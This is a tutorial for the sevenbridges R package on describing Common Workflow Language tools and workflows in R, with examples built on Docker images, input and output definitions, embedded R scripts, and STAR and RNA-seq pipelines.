This tutorial assume you have basic knowledge about Docker concept.
Note: Right now we are supporting CWL draft 2 with SBG extension, but we will support CWL v1.0 soon.
In our terminology, a workflow is composed of one or more tool, both of them are just app to users. You can imagine some raw input data go through a pipeline with many nodes that each step perform a function on the data in the flow, and in the end, you got want you want: a fully processed data or result (plot, report, action).
Here are some key ideas:
Looks like full of jargons and hard to understand. Here is an example. You have a csv table, full of missing value and you want to process it in 3 steps:
You can describe each step into a single module or tool then connect them one by one to form a flow. You can put everything into one single “tool”, then downside is that other user cannot use your step1 for missing value problem. So it’s both art and sciense to leverage between flexibility and efficiency.
Why we are using CWL? Imagine a single file represeting a tool or workflow, could be executed anywhere in a reproducible manner and you don’t have to install anything because Docker container is imaged, that’s going to change the world of computational scientific research and how we do research and publish results. In this package we are trying to hide CWL details as much as possible, so user can just use it like a typical R function.
Tool
is the basic unit, and also your “lego brick” you usually start with. As developer you also want to provide those “lego” piecies to users to directly run it or make their own flow with it.
The main interface provided by sevenbridges
package is Tool
function, it’s much more straight forward to describe than composing your raw CWL JSON file from scratch. A “Tool” object in R could be exported into JSON or imported from a CWL JSON file.
I highly recommend going over documentation The Tool Editor chapter for the Cancer Genomics Cloud to understand how it works, and even try it on the platform with the GUI. This will help understand our R interface better.
Sometimes people share Tool in pure JSON text format. You can simply load it into R by using convert_app
function, this will recognize your JSON file class (Tool or Workflow) automatically.
library("sevenbridges") t1 <- system.file("extdata/app", "tool_star.json", package = "sevenbridges") # # convert JSON file into a Tool object t1 <- convert_app(t1) # # try print it out # t1
In this way, you can load it, revise it, use it with API or edit and export it back to JSON file. However, in this tutorial, the most important thing is that you learn how to desribe it directly in R.
We provide couple utitlities to help construct your own CWL tool quickly in R. For all availale utiles please check out help("Tool")
Some utiles you will find it useful when you execute a task, you need to know what is the input type and what is the input id and if it’s required or not, so you can execute the task with parameters it need. Try play with input_matrix
or input_type
as shown below.
# get input type information head(t1$input_type())
reads readMatesLengthsIn readMapNumber limitOutSJoneRead
"File..." "enum" "int" "int"
limitOutSJcollapsed outReadsUnmapped
"int" "enum"
# get output type information head(t1$output_type())
aligned_reads transcriptome_aligned_reads
"File" "File"
reads_per_gene log_files
"File" "File..."
splice_junctions chimeric_junctions
"File" "File"
# return a input matrix with more information head(t1$input_matrix())
id label type required
1 #reads Read sequence File... TRUE
95 #sjdbGTFfile Splice junction file File...  TRUE
95 #sjdbGTFfile File... FALSE
102 #genome File TRUE
2 #readMatesLengthsIn enum FALSE
3 #readMapNumber int FALSE
4 #limitOutSJoneRead int FALSE
# return only required t1$input_matrix(required = TRUE)
id label type required prefix
1 #reads Read sequence File... TRUE <NA>
102 #genome Genome files File TRUE <NA>
fileTypes
1 FASTA, FASTQ, FA, FQ, FASTQ.GZ, FQ.GZ, FASTQ.BZ2, FQ.BZ2
102 TAR
# return a output matrix with more information t1$output_matrix()
id label type fileTypes
1 #aligned_reads Aligned SAM/BAM File SAM, BAM
2 #transcriptome_aligned_reads Transcriptome alignments File BAM
3 #reads_per_gene Reads per gene File TAB
4 #log_files Log files File... OUT
5 #splice_junctions Splice junctions File TAB
6 #chimeric_junctions Chimeric junctions File JUNCTION
7 #unmapped_reads Unmapped reads File... FASTQ
8 #intermediate_genome Intermediate genome files File TAR
9 #chimeric_alignments Chimeric alignments File SAM
# return only a few fields t1$output_matrix(c("id", "type"))
id type
1 #aligned_reads File
2 #transcriptome_aligned_reads File
3 #reads_per_gene File
4 #log_files File...
5 #splice_junctions File
6 #chimeric_junctions File
7 #unmapped_reads File...
8 #intermediate_genome File
9 #chimeric_alignments File
# get required input id t1$get_required()
reads genome
"File..." "File"
# set new required input with ID, # or without # t1$set_required(c("#reads", "winFlankNbins"))
not implemented yet!
t1$get_required()
reads genome
"File..." "File"
# turn off requirements for input node #reads t1$set_required("reads", FALSE)
not implemented yet!
t1$get_required()
reads genome
"File..." "File"
# get input id head(t1$input_id())
#STAR #STAR #STAR
"#reads" "#readMatesLengthsIn" "#readMapNumber"
#STAR #STAR #STAR
"#limitOutSJoneRead" "#limitOutSJcollapsed" "#outReadsUnmapped"
# get full input id with Tool name head(t1$input_id(TRUE))
File... enum
"#STAR.reads" "#STAR.readMatesLengthsIn"
int int
"#STAR.readMapNumber" "#STAR.limitOutSJoneRead"
int enum
"#STAR.limitOutSJcollapsed" "#STAR.outReadsUnmapped"
# get output id head(t1$output_id())
#STAR #STAR
"#aligned_reads" "#transcriptome_aligned_reads"
#STAR #STAR
"#reads_per_gene" "#log_files"
#STAR #STAR
"#splice_junctions" "#chimeric_junctions"
# get full output id head(t1$output_id(TRUE))
File File
"#STAR.aligned_reads" "#STAR.transcriptome_aligned_reads"
File File...
"#STAR.reads_per_gene" "#STAR.log_files"
File File
"#STAR.splice_junctions" "#STAR.chimeric_junctions"
# get input and output object t1$get_input(id = "#winFlankNbins")
type:
- 'null'
- int
label: Flanking regions size
description: =log2(winFlank), where win Flank is the size of the left and right flanking
regions for each window (int>0).
streamable: no
id: '#winFlankNbins'
inputBinding:
position: 0
prefix: --winFlankNbins
separate: yes
shellQuote: no
sbg:cmdInclude: yes
streamable: no
separator: ' '
sbg:category: Windows, Anchors, Binning
sbg:toolDefaultValue: '4'
required: no
t1$get_input(name = "ins")
[[1]]
type:
- 'null'
- int
label: Max bins between anchors
description: Max number of bins between two anchors that allows aggregation of anchors
into one window (int>0).
streamable: no
id: '#winAnchorDistNbins'
inputBinding:
position: 0
prefix: --winAnchorDistNbins
separate: yes
shellQuote: no
sbg:cmdInclude: yes
streamable: no
separator: ' '
sbg:category: Windows, Anchors, Binning
sbg:toolDefaultValue: '9'
required: no
[[2]]
type:
- 'null'
- int
label: Max insert junctions
description: Maximum number of junction to be inserted to the genome on the fly at
the mapping stage, including those from annotations and those detected in the 1st
step of the 2-pass run.
streamable: no
id: '#limitSjdbInsertNsj'
inputBinding:
position: 0
prefix: --limitSjdbInsertNsj
separate: yes
shellQuote: no
sbg:cmdInclude: yes
streamable: no
separator: ' '
sbg:category: Limits
sbg:toolDefaultValue: '1000000'
required: no
t1$get_output(id = "#aligned_reads")
type:
- 'null'
- File
label: Aligned SAM/BAM
description: Aligned sequence in SAM/BAM format.
streamable: no
id: '#aligned_reads'
outputBinding:
glob:
engine: '#cwl-js-engine'
script: |-
{
if ($job.inputs.outSortingType == 'SortedByCoordinate') {
sort_name = '.sortedByCoord'
}
else {
sort_name = ''
}
if ($job.inputs.outSAMtype == 'BAM') {
sam_name = "*.Aligned".concat( sort_name, '.out.bam')
}
else {
sam_name = "*.Aligned.out.sam"
}
return sam_name
}
class: Expression
sbg:fileTypes: SAM, BAM
t1$get_output(name = "gene")
type:
- 'null'
- File
label: Reads per gene
description: File with number of reads per gene. A read is counted if it overlaps
(1nt or more) one and only one gene.
streamable: no
id: '#reads_per_gene'
outputBinding:
glob: '*ReadsPerGene*'
sbg:fileTypes: TAB
Before we continue, this is how it looks like for full tool description, you don’t always need to describe all those details, following section will walk you through simple examples to full examples like this one.
fl <- system.file("docker/rnaseqGene/rabix", "generator.R", package = "sevenbridges") cat(readLines(fl), sep = "\n")
library("sevenbridges")
rbx <- Tool(
id = "rnaseqGene",
label = "rnaseqgene",
description = "A RNA-seq Differiencial Expression Flow and Report",
hints = requirements(docker(pull = "tengfei/rnaseqgene"), cpu(1), mem(2000)),
baseCommand = "performDE.R",
inputs = list(
input(
id = "bamfiles", label = "bam files",
description = "a list of bam files",
type = "File...", ## or type = ItemArray("File")
prefix = "--bamfiles",
required = TRUE,
itemSeparator = ","
),
input(
id = "design", label = "design matrix",
type = "File",
required = TRUE,
prefix = "--design"
),
input(
id = "gtffile", label = "gene feature files",
type = "File",
stageInput = "copy",
required = TRUE,
prefix = "--gtffile"
),
input(
id = "format", label = "report foramt html or pdf",
type = enum("format", c("pdf", "html")),
prefix = "--format"
)
),
outputs = list(
output(
id = "report", label = "report",
description = "A reproducible report created by Rmarkdown",
glob = Expression(
engine = "#cwl-js-engine",
script = "x = $job[['inputs']][['format']]; if(x == 'undefined' || x == null){x = 'html';}; 'rnaseqGene.' + x"
)
),
output(
id = "heatmap", label = "heatmap",
description = "A heatmap plot to show the Euclidean distance between samples",
glob = "heatmap.pdf"
),
output(
id = "count", label = "count",
description = "Reads counts matrix",
glob = "count.csv"
),
output(
id = "de", label = "Differential expression table",
description = "Differential expression table",
glob = "de.csv"
)
)
)
fl <- "inst/docker/rnaseqGene/rabix/rnaseqGene.json"
write(rbx$toJSON(pretty = TRUE), fl)
Now let’s break it down:
Some key arguments used in Tool
function.
cpu
, mem
, docker
, fileDef
; and you can easily construct them via requirements()
constructor. This is how you describe the resources you need to execute the tool, so the system knows what type of instances suit your case best.To specify inputs and outpus, usually your command line interface accept extra arguments as input, for example, file(s), string, enum, int, float, boolean. So to specify that in your tool, you can use input
function, then pass it to the inputs
arguments as a list or single item. You can even construct them as data.frame with less flexibility. input()
require arguments id
and type
. output()
require arguments id
because type
by default is file.
There are some special type: ItemArray and enum. For ItemArray the type could be an array of single type, the most common case is that if your input is a list of files, you can do something like type = ItemArray("File")
or as simple as type = "File..."
to diffenciate from a single file input. When you add “…” suffix, R will know it’s an ItemArray
.
We also provide an enum type, when you specify the enum, please pass the required name and symbols like this type = enum("format", c("pdf", "html"))
then in the UI on the platform you will be poped with drop down when you execute the task.
Now let’s work though from simple case to most flexible case.
If you already have a Docker image in mind that provide the functionality you need, you can just use it. The baseCommand
is the command line you want to execute in that container. stdout
specify the output file you want to capture the standard output and collect it on the platform.
In this simple example, we know Docker image rocker/r-base
has a function called runif
we can directly call in the command line with Rscript -e
. Then we want the ouput to be collected in stdout
and ask the file system to capture the output files that matches the pattern *.txt
. Please pay attention to this, your tool may produce many intermediate files in the current folder, if you don’t tell which output you need, they will all be ignored, so make sure you collect those files via the outputs
parameter.
library("sevenbridges") rbx <- Tool( id = "runif", label = "runif", hints = requirements(docker(pull = "rocker/r-base")), baseCommand = "Rscript -e 'runif(100)'", stdout = "output.txt", outputs = output(id = "random", glob = "*.txt") ) rbx
sbg:id: runif
id: '#runif'
inputs: []
outputs:
- type:
- 'null'
- File
label: ''
description: ''
streamable: no
default: ''
id: '#random'
outputBinding:
glob: '*.txt'
requirements: []
hints:
- class: DockerRequirement
dockerPull: rocker/r-base
label: runif
class: CommandLineTool
baseCommand:
- Rscript -e 'runif(100)'
arguments: []
stdout: output.txt
rbx$toJSON()
{"sbg:id":"runif","id":"#runif","inputs":[],"outputs":[{"type":["null","File"],"label":"","description":"","streamable":false,"default":"","id":"#random","outputBinding":{"glob":"*.txt"}}],"requirements":[],"hints":[{"class":"DockerRequirement","dockerPull":"rocker/r-base"}],"label":"runif","class":"CommandLineTool","baseCommand":["Rscript -e 'runif(100)'"],"arguments":[],"stdout":"output.txt"}
By default, the tool object shows YAML, but you can simply convert it to JSON and copy it to your seven bridges platform graphic editor by importing JSON.
rbx$toJSON()
{"sbg:id":"runif","id":"#runif","inputs":[],"outputs":[{"type":["null","File"],"label":"","description":"","streamable":false,"default":"","id":"#random","outputBinding":{"glob":"*.txt"}}],"requirements":[],"hints":[{"class":"DockerRequirement","dockerPull":"rocker/r-base"}],"label":"runif","class":"CommandLineTool","baseCommand":["Rscript -e 'runif(100)'"],"arguments":[],"stdout":"output.txt"}
rbx$toJSON(pretty = TRUE)
{
"sbg:id": "runif",
"id": "#runif",
"inputs": [],
"outputs": [
{
"type": ["null", "File"],
"label": "",
"description": "",
"streamable": false,
"default": "",
"id": "#random",
"outputBinding": {
"glob": "*.txt"
}
}
],
"requirements": [],
"hints": [
{
"class": "DockerRequirement",
"dockerPull": "rocker/r-base"
}
],
"label": "runif",
"class": "CommandLineTool",
"baseCommand": [
"Rscript -e 'runif(100)'"
],
"arguments": [],
"stdout": "output.txt"
}
rbx$toYAML()
[1] "sbg:id: runif\nid: '#runif'\ninputs: []\noutputs:\n- type:\n - 'null'\n - File\n label: ''\n description: ''\n streamable: no\n default: ''\n id: '#random'\n outputBinding:\n glob: '*.txt'\nrequirements: []\nhints:\n- class: DockerRequirement\n dockerPull: rocker/r-base\nlabel: runif\nclass: CommandLineTool\nbaseCommand:\n- Rscript -e 'runif(100)'\narguments: []\nstdout: output.txt\n"
Now you may want to run your own R script, but you still don’t want to create new command line and a new Docker image. You just want to run your script with new input files in existing container, it’s time to introduce fileDef
. You can either directly write script as string or just import a R file to content
. And provided as requirements
.
# Make a new file fd <- fileDef( name = "runif.R", content = "set.seed(1); runif(100)" ) # read via reader .srcfile <- system.file("docker/sevenbridges/src/runif.R", package = "sevenbridges") fd <- fileDef( name = "runif.R", content = readr::read_file(.srcfile) ) # add script to your tool rbx <- Tool( id = "runif", label = "runif", hints = requirements(docker(pull = "rocker/r-base")), requirements = requirements(fd), baseCommand = "Rscript runif.R", stdout = "output.txt", outputs = output(id = "random", glob = "*.txt") )
How about multiple script?
# or simply readLines .srcfile <- system.file("docker/sevenbridges/src/runif.R", package = "sevenbridges") fd1 <- fileDef( name = "runif.R", content = readr::read_file(.srcfile) ) fd2 <- fileDef( name = "runif2.R", content = "set.seed(1); runif(100)" ) rbx <- Tool( id = "runif_twoscript", label = "runif_twoscript", hints = requirements(docker(pull = "rocker/r-base")), requirements = requirements(fd1, fd2), baseCommand = "Rscript runif.R", stdout = "output.txt", outputs = output(id = "random", glob = "*.txt") )
All those examples above, many parameters are hard-coded in your script, you don’t have flexiblity to control how many numbers to generate. Most often, your tools or command line tools expose some inputs arguments to users. You need a better way to describe a command line with input/output.
Now we bring the example to next level. For example, we prepare a Docker image called RFranklin/runif
on Docker Hub.
So the goal here is to describe this command and expose all input parameters and collect all two files.
To define input, you can specify
id
: unique identifier to this input node.description
: description, also visible on UI.type
: required to specify input types, files, integer, or character.label
: human readable label for this input node.prefix
: the prefix in command line for this input parameter.default
: default value for this input.required
: is this input parameter required or not. If required, when you execte the tool you have to provide a value for the parameter.cmdInclude
: included in command line or not.Output is similar, espeicaly when you want to collect file, you can use glob
for pattern matching.
# pass a input list in.lst <- list( input( id = "number", description = "number of observations", type = "integer", label = "number", prefix = "--n", default = 1, required = TRUE, cmdInclude = TRUE ), input( id = "min", description = "lower limits of the distribution", type = "float", label = "min", prefix = "--min", default = 0 ), input( id = "max", description = "upper limits of the distribution", type = "float", label = "max", prefix = "--max", default = 1 ), input( id = "seed", description = "seed with set.seed", type = "float", label = "seed", prefix = "--seed", default = 1 ) ) # the same method for outputs out.lst <- list( output( id = "random", type = "file", label = "output", description = "random number file", glob = "*.txt" ), output( id = "report", type = "file", label = "report", glob = "*.html" ) ) rbx <- Tool( id = "runif", label = "Random number generator", hints = requirements(docker(pull = "RFranklin/runif")), baseCommand = "runif.R", inputs = in.lst, # or ins.df outputs = out.lst )
Alternatively you can use data.frame as example for input and output, but it’s less flexible.
in.df <- data.frame( id = c("number", "min", "max", "seed"), description = c( "number of observation", "lower limits of the distribution", "upper limits of the distribution", "seed with set.seed" ), type = c("integer", "float", "float", "float"), label = c("number", "min", "max", "seed"), prefix = c("--n", "--min", "--max", "--seed"), default = c(1, 0, 10, 123), required = c(TRUE, FALSE, FALSE, FALSE) ) out.df <- data.frame( id = c("random", "report"), type = c("file", "file"), glob = c("*.txt", "*.html") ) rbx <- Tool( id = "runif", label = "Random number generator", hints = requirements(docker(pull = "RFranklin/runif"), cpu(1), mem(2000)), baseCommand = "runif.R", inputs = in.df, # or ins.df outputs = out.df )
commandArgs
(position and named args)Now you must be wondering, I have a Docker container with R, but I don’t have any existing command line that I could directly use. Can I provide a script with a formal and quick command line interface to make an App for existing container. The anwser is yes. When you add script to your tool, you can always use some trick to do so, one popular one you may already head of is commandArgs
. More formal one is called “docopt” which I will show you later.
Suppose you have a R script “runif2spin.R” with three arguments using position mapping
numbers
min
max
My base command will be somethine like
Rscript runif2spin.R 10 30 50
This is how you do in your R script
fl <- system.file("docker/sevenbridges/src", "runif2spin.R", package = "sevenbridges" ) cat(readLines(fl), sep = "\n")
#' ---
#' title: "Uniform random number generator example"
#' output:
#' html_document:
#' toc: true
#' number_sections: true
#' ---
#' # summary report
#'
#' This is a random number generator
#+
args = commandArgs(TRUE)
r = runif(n = as.integer(args[1]),
min = as.numeric(args[2]),
max = as.numeric(args[3]))
head(r)
summary(r)
hist(r)
Ignore the comment part, I will introduce spin/stich later.
Then just describe my tool in this way, add your script as you learned in previous sections.
fd <- fileDef( name = "runif.R", content = readr::read_file(fl) ) rbx <- Tool( id = "runif", label = "runif", hints = requirements(docker(pull = "rocker/r-base"), cpu(1), mem(2000)), requirements = requirements(fd), baseCommand = "Rscript runif.R", stdout = "output.txt", inputs = list( input( id = "number", type = "integer", position = 1 ), input( id = "min", type = "float", position = 2 ), input( id = "max", type = "float", position = 3 ) ), outputs = output(id = "random", glob = "output.txt") )
How about named argumentments? I will still recommend use “docopt” package, but for simple way. You want command line looks like this
Rscript runif_args.R --n=10 --min=30 --max=50
Here is how you do in R script.
fl <- system.file("docker/sevenbridges/src", "runif_args.R", package = "sevenbridges") cat(readLines(fl), sep = "\n")
#' ---
#' title: "Uniform random number generator example"
#' output:
#' html_document:
#' toc: true
#' number_sections: true
#' ---
#' # summary report
#'
#' This is a random number generator
#+
args <- commandArgs(TRUE)
## quick hack to split named arguments
splitArgs <- function(x) {
res <- do.call(rbind, lapply(x, function(i){
res <- strsplit(i, "=")[[1]]
nm <- gsub("-+", "",res[1])
c(nm, res[2])
}))
.r <- res[,2]
names(.r) <- res[,1]
.r
}
args <- splitArgs(args)
#+
r <- runif(n = as.integer(args["n"]),
min = as.numeric(args["min"]),
max = as.numeric(args["max"]))
summary(r)
hist(r)
write.csv(r, file = "out.csv")
Then just describe my tool in this way, note, I use separate=FALSE
and add =
to my prefix as a hack.
fd <- fileDef( name = "runif.R", content = readr::read_file(fl) ) rbx <- Tool( id = "runif", label = "runif", hints = requirements(docker(pull = "rocker/r-base"), cpu(1), mem(2000)), requirements = requirements(fd), baseCommand = "Rscript runif.R", stdout = "output.txt", inputs = list( input( id = "number", type = "integer", separate = FALSE, prefix = "--n=" ), input( id = "min", type = "float", separate = FALSE, prefix = "--min=" ), input( id = "max", type = "float", separate = FALSE, prefix = "--max=" ) ), outputs = output(id = "random", glob = "output.txt") )
Quick report: Spin and Stich
You can use spin/stich from knitr to generate report directly from a Rscript with special format. For example, let’s use above example
fl <- system.file("docker/sevenbridges/src", "runif_args.R", package = "sevenbridges") cat(readLines(fl), sep = "\n")
#' ---
#' title: "Uniform random number generator example"
#' output:
#' html_document:
#' toc: true
#' number_sections: true
#' ---
#' # summary report
#'
#' This is a random number generator
#+
args <- commandArgs(TRUE)
## quick hack to split named arguments
splitArgs <- function(x) {
res <- do.call(rbind, lapply(x, function(i){
res <- strsplit(i, "=")[[1]]
nm <- gsub("-+", "",res[1])
c(nm, res[2])
}))
.r <- res[,2]
names(.r) <- res[,1]
.r
}
args <- splitArgs(args)
#+
r <- runif(n = as.integer(args["n"]),
min = as.numeric(args["min"]),
max = as.numeric(args["max"]))
summary(r)
hist(r)
write.csv(r, file = "out.csv")
You command is something like this
Rscript -e "rmarkdown::render(knitr::spin('runif_args.R', FALSE))" --args --n=100 --min=30 --max=50
And so I describe my tool like this with Docker image rocker/tidyverse
which contians the knitr and rmarkdown packages.
fd <- fileDef( name = "runif.R", content = readr::read_file(fl) ) rbx <- Tool( id = "runif", label = "runif", hints = requirements(docker(pull = "rocker/tidyverse"), cpu(1), mem(2000)), requirements = requirements(fd), baseCommand = "Rscript -e \"rmarkdown::render(knitr::spin('runif.R', FALSE))\" --args", stdout = "output.txt", inputs = list( input( id = "number", type = "integer", separate = FALSE, prefix = "--n=" ), input( id = "min", type = "float", separate = FALSE, prefix = "--min=" ), input( id = "max", type = "float", separate = FALSE, prefix = "--max=" ) ), outputs = list( output(id = "stdout", type = "file", glob = "output.txt"), output(id = "random", type = "file", glob = "*.csv"), output(id = "report", type = "file", glob = "*.html") ) )
You will get a report in the end.
Inherit metadata and additional metadata
Sometimes if you want your output files inherit from particular input file, just use inheritMetadataFrom
in your output() call and pass the input file id. If you want to add additional metadata, you could pass metadata
a list in your output() function call. For example, I want my output report inherit all metadata from my “bam_file” input node (which I don’t have in this example though) with two additional metadata fields.
out.lst <- list( output( id = "random", type = "file", label = "output", description = "random number file", glob = "*.txt" ), output( id = "report", type = "file", label = "report", glob = "*.html", inheritMetadataFrom = "bam_file", metadata = list( author = "RFranklin", sample = "random" ) ) ) out.lst
[[1]]
type:
- 'null'
- File
label: output
description: random number file
streamable: no
default: ''
id: '#random'
outputBinding:
glob: '*.txt'
[[2]]
type:
- 'null'
- File
label: report
description: ''
streamable: no
default: ''
id: '#report'
outputBinding:
glob: '*.html'
sbg:inheritMetadataFrom: '#bam_file'
sbg:metadata:
author: RFranklin
sample: random
Example with file/files as input node
fl <- system.file("docker/rnaseqGene/rabix", "generator.R", package = "sevenbridges") cat(readLines(fl), sep = "\n")
library("sevenbridges")
rbx <- Tool(
id = "rnaseqGene",
label = "rnaseqgene",
description = "A RNA-seq Differiencial Expression Flow and Report",
hints = requirements(docker(pull = "tengfei/rnaseqgene"), cpu(1), mem(2000)),
baseCommand = "performDE.R",
inputs = list(
input(
id = "bamfiles", label = "bam files",
description = "a list of bam files",
type = "File...", ## or type = ItemArray("File")
prefix = "--bamfiles",
required = TRUE,
itemSeparator = ","
),
input(
id = "design", label = "design matrix",
type = "File",
required = TRUE,
prefix = "--design"
),
input(
id = "gtffile", label = "gene feature files",
type = "File",
stageInput = "copy",
required = TRUE,
prefix = "--gtffile"
),
input(
id = "format", label = "report foramt html or pdf",
type = enum("format", c("pdf", "html")),
prefix = "--format"
)
),
outputs = list(
output(
id = "report", label = "report",
description = "A reproducible report created by Rmarkdown",
glob = Expression(
engine = "#cwl-js-engine",
script = "x = $job[['inputs']][['format']]; if(x == 'undefined' || x == null){x = 'html';}; 'rnaseqGene.' + x"
)
),
output(
id = "heatmap", label = "heatmap",
description = "A heatmap plot to show the Euclidean distance between samples",
glob = "heatmap.pdf"
),
output(
id = "count", label = "count",
description = "Reads counts matrix",
glob = "count.csv"
),
output(
id = "de", label = "Differential expression table",
description = "Differential expression table",
glob = "de.csv"
)
)
)
fl <- "inst/docker/rnaseqGene/rabix/rnaseqGene.json"
write(rbx$toJSON(pretty = TRUE), fl)
Note the stageInput example in the above script, you can set it to “copy” or “link”.
Input node batch mode
Batch by File (the long output has been omitted here):
f1 <- system.file("extdata/app", "flow_star.json", package = "sevenbridges") f1 <- convert_app(f1) f1$set_batch("sjdbGTFfile", type = "ITEM")
Batch by other critieria such as metadta, following example, is using sample_id
and library_id
(the long output has been omitted here):
f1 <- system.file("extdata/app", "flow_star.json", package = "sevenbridges") f1 <- convert_app(f1) f1$set_batch("sjdbGTFfile", c("metadata.sample_id", "metadata.library_id"))
criteria provided, convert type from ITEM to CRITERIA
When you push your app to the platform, you will see the batch available at task page or workflow editor.
Note: The GUI Tool Editor on Seven Bridges Platform is more conventient for this purpose.
Yes, you could use the same function convert_app
to import JSON files.
f1 <- system.file("extdata/app", "flow_star.json", package = "sevenbridges") f1 <- convert_app(f1) # show it # f1
Flow
objectsJust like Tool
object, you also have convenient utils for it, especially useful when you execute task.
f1 <- system.file("extdata/app", "flow_star.json", package = "sevenbridges") f1 <- convert_app(f1) # input matrix head(f1$input_matrix())
id label type required
1 #sjdbGTFfile sjdbGTFfile File... FALSE
2 #fastq fastq File... TRUE
3 #genomeFastaFiles genomeFastaFiles File TRUE
4 #sjdbGTFtagExonParentTranscript Exons' parents name string FALSE
5 #sjdbGTFtagExonParentGene Gene name string FALSE
6 #winAnchorMultimapNmax Max loci anchors int FALSE
fileTypes
1 null
2 null
3 null
4 null
5 null
6 null
id type required
1 #sjdbGTFfile File... FALSE
2 #fastq File... TRUE
3 #genomeFastaFiles File TRUE
4 #sjdbGTFtagExonParentTranscript string FALSE
5 #sjdbGTFtagExonParentGene string FALSE
6 #winAnchorMultimapNmax int FALSE
# return only required head(f1$input_matrix(required = TRUE))
id label type required fileTypes
2 #fastq fastq File... TRUE null
3 #genomeFastaFiles genomeFastaFiles File TRUE null
# return everything head(f1$input_matrix(NULL))
id type required fileTypes
1 #sjdbGTFfile File... FALSE null
2 #fastq File... TRUE null
3 #genomeFastaFiles File TRUE null
4 #sjdbGTFtagExonParentTranscript string FALSE null
5 #sjdbGTFtagExonParentGene string FALSE null
6 #winAnchorMultimapNmax int FALSE null
label category stageInput streamable
1 sjdbGTFfile null null FALSE
2 fastq null null FALSE
3 genomeFastaFiles null null FALSE
4 Exons' parents name Splice junctions db parameters null FALSE
5 Gene name Splice junctions db parameters null FALSE
6 Max loci anchors Windows, Anchors, Binning null FALSE
sbg.x sbg.y sbg.includeInPorts
1 160.50 195.0833 NA
2 164.25 323.7500 TRUE
3 167.75 469.9999 NA
4 200.00 350.0000 NA
5 200.00 400.0000 NA
6 200.00 450.0000 NA
description
1 <NA>
2 <NA>
3 <NA>
4 Tag name to be used as exons' transcript-parents.
5 Tag name to be used as exons' gene-parents.
6 Max number of loci anchors are allowed to map to (int>0).
sbg.toolDefaultValue link_to
1 <NA> #STAR_Genome_Generate.sjdbGTFfile | #STAR.sjdbGTFfile
2 <NA> #SBG_FASTQ_Quality_Detector.fastq
3 <NA> #STAR_Genome_Generate.genomeFastaFiles
4 transcript_id #STAR_Genome_Generate.sjdbGTFtagExonParentTranscript
5 gene_id #STAR_Genome_Generate.sjdbGTFtagExonParentGene
6 50 #STAR.winAnchorMultimapNmax
# return a output matrix with more information head(f1$output_matrix())
id label type fileTypes
1 #unmapped_reads unmapped_reads File... null
2 #transcriptome_aligned_reads transcriptome_aligned_reads File null
3 #splice_junctions splice_junctions File null
4 #reads_per_gene reads_per_gene File null
5 #log_files log_files File... null
6 #chimeric_junctions chimeric_junctions File null
id type
1 #unmapped_reads File...
2 #transcriptome_aligned_reads File
3 #splice_junctions File
4 #reads_per_gene File
5 #log_files File...
6 #chimeric_junctions File
# return everything head(f1$output_matrix(NULL))
id label type fileTypes
1 #unmapped_reads unmapped_reads File... null
2 #transcriptome_aligned_reads transcriptome_aligned_reads File null
3 #splice_junctions splice_junctions File null
4 #reads_per_gene reads_per_gene File null
5 #log_files log_files File... null
6 #chimeric_junctions chimeric_junctions File null
required source streamable sbg.includeInPorts
1 FALSE #STAR.unmapped_reads FALSE TRUE
2 FALSE #STAR.transcriptome_aligned_reads FALSE TRUE
3 FALSE #STAR.splice_junctions FALSE TRUE
4 FALSE #STAR.reads_per_gene FALSE TRUE
5 FALSE #STAR.log_files FALSE TRUE
6 FALSE #STAR.chimeric_junctions FALSE TRUE
sbg.x sbg.y link_to
1 766.2498 159.58331 #STAR.unmapped_reads
2 1118.9998 86.58332 #STAR.transcriptome_aligned_reads
3 1282.3330 167.49998 #STAR.splice_junctions
4 1394.4164 245.74996 #STAR.reads_per_gene
5 1505.0830 322.99995 #STAR.log_files
6 1278.7498 446.74996 #STAR.chimeric_junctions
# flow inputs f1$input_type()
sjdbGTFfile fastq
"File..." "File..."
genomeFastaFiles sjdbGTFtagExonParentTranscript
"File" "string"
sjdbGTFtagExonParentGene winAnchorMultimapNmax
"string" "int"
winAnchorDistNbins
"int"
# flow outouts f1$output_type()
unmapped_reads transcriptome_aligned_reads
"File..." "File"
splice_junctions reads_per_gene
"File" "File"
log_files chimeric_junctions
"File..." "File"
intermediate_genome chimeric_alignments
"File" "File"
sorted_bam result
"File" "File"
# list tools f1$list_tool()
label
1 STAR Genome Generate
2 SBG FASTQ Quality Detector
3 Picard SortSam
4 STAR
sbgid
1 sevenbridges/public-apps/star-genome-generate/1
2 sevenbridges/public-apps/sbg-fastq-quality-detector/3
3 sevenbridges/public-apps/picard-sortsam-1-140/2
4 sevenbridges/public-apps/star/4
id
1 #STAR_Genome_Generate
2 #SBG_FASTQ_Quality_Detector
3 #Picard_SortSam
4 #STAR
# f1$get_tool("STAR")
There are more utilities please check example at help(Flow)
To create a workflow, we provide simple interface to pipe your tool into a single workflow, it works under situation like
Note: for complicated workflow construction, I highly recommend just use our graphical interface to do it, there is no better way.
Let’s create tools from scratch to perform a simple task
library("sevenbridges") # A tool that generates 100 random numbers t1 <- Tool( id = "runif new test 3", label = "random number", hints = requirements(docker(pull = "rocker/r-base")), baseCommand = "Rscript -e 'x = runif(100); write.csv(x, file = 'random.txt', row.names = FALSE)'", outputs = output( id = "random", type = "file", glob = "random.txt" ) ) # A tool that takes log fd <- fileDef( name = "log.R", content = "args = commandArgs(TRUE) x = read.table(args[1], header = TRUE)[,'x'] x = log(x) write.csv(x, file = 'random_log.txt', row.names = FALSE) " ) t2 <- Tool( id = "log new test 3", label = "get log", hints = requirements(docker(pull = "rocker/r-base")), requirements = requirements(fd), baseCommand = "Rscript log.R", inputs = input( id = "number", type = "file" ), outputs = output( id = "log", type = "file", glob = "*.txt" ) ) # A tool that do a mean fd <- fileDef( name = "mean.R", content = "args = commandArgs(TRUE) x = read.table(args[1], header = TRUE)[,'x'] x = mean(x) write.csv(x, file = 'random_mean.txt', row.names = FALSE)" ) t3 <- Tool( id = "mean new test 3", label = "get mean", hints = requirements(docker(pull = "rocker/r-base")), requirements = requirements(fd), baseCommand = "Rscript mean.R", inputs = input( id = "number", type = "file" ), outputs = output( id = "mean", type = "file", glob = "*.txt" ) ) f <- t1 %>>% t2
flow_output: #get_log.log
f <- link(t1, t2, "#random", "#number")
flow_output: #get_log.log
